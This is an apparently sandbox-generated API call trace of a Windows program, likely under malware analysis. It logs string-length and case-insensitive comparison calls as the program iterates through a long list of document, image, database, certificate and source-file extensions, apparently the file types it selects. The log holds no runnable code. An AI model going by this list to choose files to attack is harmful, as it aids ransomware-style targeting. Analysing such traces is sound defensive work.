	[0205.370] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0205.370] lstrlenW (lpString=".ai8") returned 4
	[0205.370] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0205.370] lstrlenW (lpString=".anim") returned 5
	[0205.370] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1
	[0205.370] lstrlenW (lpString=".arw") returned 4
	[0205.370] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0205.370] lstrlenW (lpString=".as") returned 3
	[0205.370] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0205.370] lstrlenW (lpString=".asa") returned 4
	[0205.370] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0205.370] lstrlenW (lpString=".asc") returned 4
	[0205.370] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0205.370] lstrlenW (lpString=".ascx") returned 5
	[0205.370] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1
	[0205.370] lstrlenW (lpString=".asm") returned 4
	[0205.370] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0205.370] lstrlenW (lpString=".asmx") returned 5
	[0205.370] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1
	[0205.370] lstrlenW (lpString=".asp") returned 4
	[0205.370] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0205.370] lstrlenW (lpString=".aspx") returned 5
	[0205.370] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1
	[0205.370] lstrlenW (lpString=".asr") returned 4
	[0205.370] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0205.370] lstrlenW (lpString=".asx") returned 4
	[0205.371] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0205.371] lstrlenW (lpString=".avi") returned 4
	[0205.371] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0205.371] lstrlenW (lpString=".avs") returned 4
	[0205.371] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0205.371] lstrlenW (lpString=".backup") returned 7
	[0205.371] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1
	[0205.371] lstrlenW (lpString=".bak") returned 4
	[0205.371] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0205.371] lstrlenW (lpString=".bay") returned 4
	[0205.371] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0205.371] lstrlenW (lpString=".bd") returned 3
	[0205.371] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0205.371] lstrlenW (lpString=".bin") returned 4
	[0205.371] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0205.371] lstrlenW (lpString=".bmp") returned 4
	[0205.371] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0205.371] lstrlenW (lpString=".bz2") returned 4
	[0205.371] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.371] lstrlenW (lpString=".c") returned 2
	[0205.371] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0205.371] lstrlenW (lpString=".cdr") returned 4
	[0205.371] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0205.371] lstrlenW (lpString=".cer") returned 4
	[0205.371] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0205.371] lstrlenW (lpString=".cf") returned 3
	[0205.371] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0205.371] lstrlenW (lpString=".cfc") returned 4
	[0205.371] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0205.371] lstrlenW (lpString=".cfm") returned 4
	[0205.371] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0205.371] lstrlenW (lpString=".cfml") returned 5
	[0205.371] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1
	[0205.371] lstrlenW (lpString=".cfu") returned 4
	[0205.371] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".chm") returned 4
	[0205.372] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".cin") returned 4
	[0205.372] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".class") returned 6
	[0205.372] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1
	[0205.372] lstrlenW (lpString=".clx") returned 4
	[0205.372] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".config") returned 7
	[0205.372] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1
	[0205.372] lstrlenW (lpString=".cpp") returned 4
	[0205.372] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".cr2") returned 4
	[0205.372] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".crt") returned 4
	[0205.372] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".crw") returned 4
	[0205.372] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".cs") returned 3
	[0205.372] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0205.372] lstrlenW (lpString=".css") returned 4
	[0205.372] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".csv") returned 4
	[0205.372] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".cub") returned 4
	[0205.372] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".dae") returned 4
	[0205.372] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".dat") returned 4
	[0205.372] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".db") returned 3
	[0205.372] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0205.372] lstrlenW (lpString=".dbf") returned 4
	[0205.372] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0205.372] lstrlenW (lpString=".dbx") returned 4
	[0205.373] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0205.373] lstrlenW (lpString=".dc3") returned 4
	[0205.373] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0205.373] lstrlenW (lpString=".dcm") returned 4
	[0205.373] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0205.373] lstrlenW (lpString=".dcr") returned 4
	[0205.373] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0205.373] lstrlenW (lpString=".der") returned 4
	[0205.373] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0205.373] lstrlenW (lpString=".dib") returned 4
	[0205.373] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0205.373] lstrlenW (lpString=".dic") returned 4
	[0205.373] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0205.373] lstrlenW (lpString=".dif") returned 4
	[0205.373] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0205.373] lstrlenW (lpString=".divx") returned 5
	[0205.373] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1
	[0205.373] lstrlenW (lpString=".djvu") returned 5
	[0205.373] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1
	[0205.373] lstrlenW (lpString=".dng") returned 4
	[0205.373] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0205.373] lstrlenW (lpString=".doc") returned 4
	[0205.373] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0205.373] lstrlenW (lpString=".docm") returned 5
	[0205.373] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1
	[0205.374] lstrlenW (lpString=".docx") returned 5
	[0205.374] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0205.374] lstrlenW (lpString=".dot") returned 4
	[0205.374] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0205.374] lstrlenW (lpString=".dotm") returned 5
	[0205.374] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1
	[0205.374] lstrlenW (lpString=".dotx") returned 5
	[0205.374] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1
	[0205.374] lstrlenW (lpString=".dpx") returned 4
	[0205.374] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0205.374] lstrlenW (lpString=".dqy") returned 4
	[0205.374] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0205.374] lstrlenW (lpString=".dsn") returned 4
	[0205.374] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0205.374] lstrlenW (lpString=".dt") returned 3
	[0205.374] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0205.374] lstrlenW (lpString=".dtd") returned 4
	[0205.374] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0205.374] lstrlenW (lpString=".dwg") returned 4
	[0205.374] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0205.374] lstrlenW (lpString=".dwt") returned 4
	[0205.374] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0205.374] lstrlenW (lpString=".dx") returned 3
	[0205.374] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0205.374] lstrlenW (lpString=".dxf") returned 4
	[0205.374] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0205.374] lstrlenW (lpString=".edml") returned 5
	[0205.374] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1
	[0205.374] lstrlenW (lpString=".efd") returned 4
	[0205.374] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0205.374] lstrlenW (lpString=".elf") returned 4
	[0205.374] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0205.374] lstrlenW (lpString=".emf") returned 4
	[0205.374] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0205.374] lstrlenW (lpString=".emz") returned 4
	[0205.375] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0205.375] lstrlenW (lpString=".epf") returned 4
	[0205.375] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0205.375] lstrlenW (lpString=".eps") returned 4
	[0205.375] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0205.375] lstrlenW (lpString=".epsf") returned 5
	[0205.375] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1
	[0205.375] lstrlenW (lpString=".epsp") returned 5
	[0205.375] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1
	[0205.375] lstrlenW (lpString=".erf") returned 4
	[0205.375] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0205.375] lstrlenW (lpString=".exr") returned 4
	[0205.375] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0205.375] lstrlenW (lpString=".f4v") returned 4
	[0205.375] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0205.375] lstrlenW (lpString=".fido") returned 5
	[0205.375] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1
	[0205.375] lstrlenW (lpString=".flm") returned 4
	[0205.375] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0205.375] lstrlenW (lpString=".flv") returned 4
	[0205.375] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0205.375] lstrlenW (lpString=".frm") returned 4
	[0205.375] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0205.375] lstrlenW (lpString=".fxg") returned 4
	[0205.375] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0205.375] lstrlenW (lpString=".geo") returned 4
	[0205.375] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0205.375] lstrlenW (lpString=".gif") returned 4
	[0205.375] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0205.375] lstrlenW (lpString=".grs") returned 4
	[0205.375] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0205.375] lstrlenW (lpString=".gz") returned 3
	[0205.375] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0205.375] lstrlenW (lpString=".h") returned 2
	[0205.375] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0205.376] lstrlenW (lpString=".hdr") returned 4
	[0205.376] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".hpp") returned 4
	[0205.376] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".hta") returned 4
	[0205.376] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".htc") returned 4
	[0205.376] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".htm") returned 4
	[0205.376] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".html") returned 5
	[0205.376] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1
	[0205.376] lstrlenW (lpString=".icb") returned 4
	[0205.376] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".ics") returned 4
	[0205.376] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".iff") returned 4
	[0205.376] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".inc") returned 4
	[0205.376] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".indd") returned 5
	[0205.376] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1
	[0205.376] lstrlenW (lpString=".ini") returned 4
	[0205.376] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".iqy") returned 4
	[0205.376] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".j2c") returned 4
	[0205.376] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".j2k") returned 4
	[0205.376] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".java") returned 5
	[0205.376] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1
	[0205.376] lstrlenW (lpString=".jp2") returned 4
	[0205.376] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0205.376] lstrlenW (lpString=".jpc") returned 4
	[0205.376] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".jpe") returned 4
	[0205.377] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".jpeg") returned 5
	[0205.377] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1
	[0205.377] lstrlenW (lpString=".jpf") returned 4
	[0205.377] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".jpg") returned 4
	[0205.377] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".jpx") returned 4
	[0205.377] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".js") returned 3
	[0205.377] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0205.377] lstrlenW (lpString=".jsf") returned 4
	[0205.377] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".json") returned 5
	[0205.377] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1
	[0205.377] lstrlenW (lpString=".jsp") returned 4
	[0205.377] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".kdc") returned 4
	[0205.377] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".kmz") returned 4
	[0205.377] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".kwm") returned 4
	[0205.377] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".lasso") returned 6
	[0205.377] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1
	[0205.377] lstrlenW (lpString=".lbi") returned 4
	[0205.377] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".lgf") returned 4
	[0205.377] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".lgp") returned 4
	[0205.377] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".log") returned 4
	[0205.377] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0205.377] lstrlenW (lpString=".m1v") returned 4
	[0205.378] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".m4a") returned 4
	[0205.378] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".m4v") returned 4
	[0205.378] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".max") returned 4
	[0205.378] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".md") returned 3
	[0205.378] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0205.378] lstrlenW (lpString=".mda") returned 4
	[0205.378] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".mdb") returned 4
	[0205.378] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".mde") returned 4
	[0205.378] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".mdf") returned 4
	[0205.378] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".mdw") returned 4
	[0205.378] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".mef") returned 4
	[0205.378] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".mft") returned 4
	[0205.378] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".mfw") returned 4
	[0205.378] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".mht") returned 4
	[0205.378] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".mhtml") returned 6
	[0205.378] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1
	[0205.378] lstrlenW (lpString=".mka") returned 4
	[0205.378] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0205.378] lstrlenW (lpString=".mkidx") returned 6
	[0205.378] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1
	[0205.378] lstrlenW (lpString=".mkv") returned 4
	[0205.378] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".mos") returned 4
	[0205.379] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".mov") returned 4
	[0205.379] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".mp3") returned 4
	[0205.379] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".mp4") returned 4
	[0205.379] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".mpeg") returned 5
	[0205.379] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1
	[0205.379] lstrlenW (lpString=".mpg") returned 4
	[0205.379] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".mpv") returned 4
	[0205.379] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".mrw") returned 4
	[0205.379] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".msg") returned 4
	[0205.379] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".mxl") returned 4
	[0205.379] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".myd") returned 4
	[0205.379] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".myi") returned 4
	[0205.379] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".nef") returned 4
	[0205.379] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".nrw") returned 4
	[0205.379] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".obj") returned 4
	[0205.379] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".odb") returned 4
	[0205.379] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".odc") returned 4
	[0205.379] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0205.379] lstrlenW (lpString=".odm") returned 4
	[0205.380] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".odp") returned 4
	[0205.380] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".ods") returned 4
	[0205.380] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".oft") returned 4
	[0205.380] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".one") returned 4
	[0205.380] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".onepkg") returned 7
	[0205.380] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1
	[0205.380] lstrlenW (lpString=".onetoc2") returned 8
	[0205.380] lstrcmpiW (lpString1=".onetoc2", lpString2="aces.dll") returned -1
	[0205.380] lstrlenW (lpString=".opt") returned 4
	[0205.380] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".oqy") returned 4
	[0205.380] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".orf") returned 4
	[0205.380] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".p12") returned 4
	[0205.380] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".p7b") returned 4
	[0205.380] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".p7c") returned 4
	[0205.380] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".pam") returned 4
	[0205.380] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".pbm") returned 4
	[0205.380] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".pct") returned 4
	[0205.380] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".pcx") returned 4
	[0205.380] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0205.380] lstrlenW (lpString=".pdd") returned 4
	[0205.381] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0205.381] lstrlenW (lpString=".pdf") returned 4
	[0205.381] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0205.381] lstrlenW (lpString=".pdp") returned 4
	[0205.381] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0205.381] lstrlenW (lpString=".pef") returned 4
	[0205.381] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0205.381] lstrlenW (lpString=".pem") returned 4
	[0205.381] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0205.381] lstrlenW (lpString=".pff") returned 4
	[0205.381] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0205.381] lstrlenW (lpString=".pfm") returned 4
	[0205.381] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0205.381] lstrlenW (lpString=".pfx") returned 4
	[0205.381] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0205.381] lstrlenW (lpString=".pgm") returned 4
	[0205.381] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0205.381] lstrlenW (lpString=".php") returned 4
	[0205.381] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0205.381] lstrlenW (lpString=".php3") returned 5
	[0205.381] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1
	[0205.381] lstrlenW (lpString=".php4") returned 5
	[0205.381] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1
	[0205.381] lstrlenW (lpString=".php5") returned 5
	[0205.381] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1
	[0205.381] lstrlenW (lpString=".phtml") returned 6
	[0205.381] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1
	[0205.381] lstrlenW (lpString=".pict") returned 5
	[0205.381] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1
	[0205.381] lstrlenW (lpString=".pl") returned 3
	[0205.381] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0205.381] lstrlenW (lpString=".pls") returned 4
	[0205.381] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0205.381] lstrlenW (lpString=".pm") returned 3
	[0205.381] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0205.382] lstrlenW (lpString=".png") returned 4
	[0205.382] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0205.382] lstrlenW (lpString=".pnm") returned 4
	[0205.382] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0205.382] lstrlenW (lpString=".pot") returned 4
	[0205.382] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0205.382] lstrlenW (lpString=".potm") returned 5
	[0205.382] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1
	[0205.382] lstrlenW (lpString=".potx") returned 5
	[0205.382] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1
	[0205.382] lstrlenW (lpString=".ppa") returned 4
	[0205.382] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0205.382] lstrlenW (lpString=".ppam") returned 5
	[0205.382] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1
	[0205.382] lstrlenW (lpString=".ppm") returned 4
	[0205.382] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0205.382] lstrlenW (lpString=".pps") returned 4
	[0205.382] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0205.382] lstrlenW (lpString=".ppsm") returned 5
	[0205.382] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1
	[0205.382] lstrlenW (lpString=".ppt") returned 4
	[0205.382] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0205.382] lstrlenW (lpString=".pptm") returned 5
	[0205.382] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1
	[0205.382] lstrlenW (lpString=".pptx") returned 5
	[0205.382] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1
	[0205.382] lstrlenW (lpString=".prn") returned 4
	[0205.382] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0205.382] lstrlenW (lpString=".ps") returned 3
	[0205.382] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0205.382] lstrlenW (lpString=".psb") returned 4
	[0205.382] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0205.382] lstrlenW (lpString=".psd") returned 4
	[0205.382] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0205.382] lstrlenW (lpString=".pst") returned 4
	[0205.383] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0205.383] lstrlenW (lpString=".ptx") returned 4
	[0205.383] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0205.383] lstrlenW (lpString=".pub") returned 4
	[0205.383] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0205.383] lstrlenW (lpString=".pwm") returned 4
	[0205.383] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0205.383] lstrlenW (lpString=".pxr") returned 4
	[0205.383] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0205.383] lstrlenW (lpString=".py") returned 3
	[0205.383] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0205.383] lstrlenW (lpString=".qt") returned 3
